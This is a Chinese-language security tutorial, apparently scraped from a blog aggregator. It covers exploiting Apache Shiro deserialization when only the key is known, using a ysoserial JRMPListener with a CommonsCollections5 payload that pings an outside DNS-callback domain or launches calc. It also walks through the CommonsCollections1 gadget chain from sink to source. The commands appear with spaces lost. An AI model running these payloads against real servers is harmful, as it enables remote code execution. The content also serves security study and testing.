news 2026/6/9 23:18:36

JAVA攻防-Shiro专题有key无利用链JRMP协议CC1链分析Transform执行链

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JAVA攻防-Shiro专题有key无利用链JRMP协议CC1链分析Transform执行链

知识点:
1、Java攻防-Shiro-有key无利用链&JRMP协议
2、Java攻防-Shiro-CC1链分析&Transform执行链

一、演示案例-Java攻防-Shiro-有key无利用链&JRMP协议

Shriokey无链:
JRMP指的是Java远程方法协议(Java Remote Method Protocol)。它是Java对象实现远程通信的基础技术,也是Java RMIRemote Method Invocation,远程方法调用)的底层通信协议。借助JRMP,运行于某个Java虚拟机(JVM)中的对象能够调用另一个JVM中对象的方法,就如同调用本地对象的方法一样便捷。

非常规链:
利用工具:https://github.com/wyzxxz/shiro_rce_tool
文章:https://mp.weixin.qq.com/s/MdCUfyaUCAa2M3P3H1NsGw

公网靶场-URLDNS链

1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"ping kfxmlanpak.zaza.eu.org"


shiro_tool使用JRMPClient模式


2、java-chains项目生成JRMPListener





shiro_tool使用JRMPClient模式

本地DEMO-执行RCE



1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"calc"


shiro_tool使用JRMPClient模式

2、java-chains项目生成JRMPListener




shiro_tool使用JRMPClient模式

二、演示案例-Java攻防-Shiro-CC1链分析&Transform执行链

文章参考:https://mp.weixin.qq.com/s/J_YeNkLN6KYTCVDYFh1dvQ

commons-collections Gadget chain: ObjectInputStream.readObject()AnnotationInvocationHandler.readObject())MapEntry#setValueTransformedMap#checkSetValueChainedTransformer.transform()ConstantTransformer.transform()Runtime.class InvokerTransformer.transform()getRuntime().exec("calc");Class.getMethod()Runtime.getRuntime()Runtime.exec()//跟链过程从下往上,源码全局搜索InvokerTransformer.transform()

1、寻找sink执行点

作用:执行点触发RCE执行

InvokerTransformer#transform()




本地DEMO





ChainedTransformer#transform()

ConstantTransformer#transform()

2、寻找gadget调用链

作用:调用链实现承上启下

TransformedMap#checkSetValue

现在已经知道RCE的由来,现在只需要看谁用了transform()




MapEntry#setValue







3、寻找Source入口点

作用:入口点重写方法调用

AnnotationInvocationHandler#readObject()#setValue


ObjectInputStream#readObject()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/3 18:31:16

导师严选8个AI论文平台,研究生高效写作必备!

导师严选8个AI论文平台,研究生高效写作必备! AI 工具助力论文写作,高效与精准并重 在研究生阶段,论文写作是一项不可避免的挑战。无论是开题报告、文献综述,还是实证分析、结论撰写,每一步都要求严谨和高效…

作者头像 李华
网站建设 2026/5/30 0:14:15

SpringBoot+Vue实现SM4加密传输

最近项目中因为密保要求,需要对敏感数据加密传输,目前就用SpringBootVue实现SM4加密传输,目前只是一个基础过渡方案,仅供参考使用。一、前置准备1. 后端SpringBoot:引入BouncyCastle依赖Java这边实现SM4,最…

作者头像 李华
网站建设 2026/6/10 15:09:57

评正高写书10万字什么价格?

评正高写书10万字什么价格? 评正高专著要求多少字? 下面淘淘论文来回答作者的这个疑问。一、评正高专著要求同样是评正高职称,要求有一定差异。一般评正高职称,对于专著的要求分为这几种情况:🔹独著或者合著…

作者头像 李华
网站建设 2026/6/3 20:27:07

SCI分区是怎么划分的?

SCI分区是怎么划分的?SCI期刊的一区、二区、三区、四区是怎么分区的?很多作者知道SCI有几个分区,但是不知道期刊的分区标准。下面淘淘论文来回答作者的这个疑问。一、SCI期刊分区划分的原因SCI期刊数量有9000多种,而SSCI期刊有300…

作者头像 李华
网站建设 2026/6/10 0:43:45

扔掉本地的 Node 和 Python 后,我才真正理解了什么是云原生开发

上周,团队里来了一位新同事,为了让他跑起来一个老项目,我们足足折腾了两天。各种依赖冲突、环境不一致的问题,最后以一句“在我电脑上明明是好的”收场。那一刻我突然意识到,我们每天都在谈论云原生,但我们…

作者头像 李华
网站建设 2026/6/10 14:43:56

AI aigc

作者头像 李华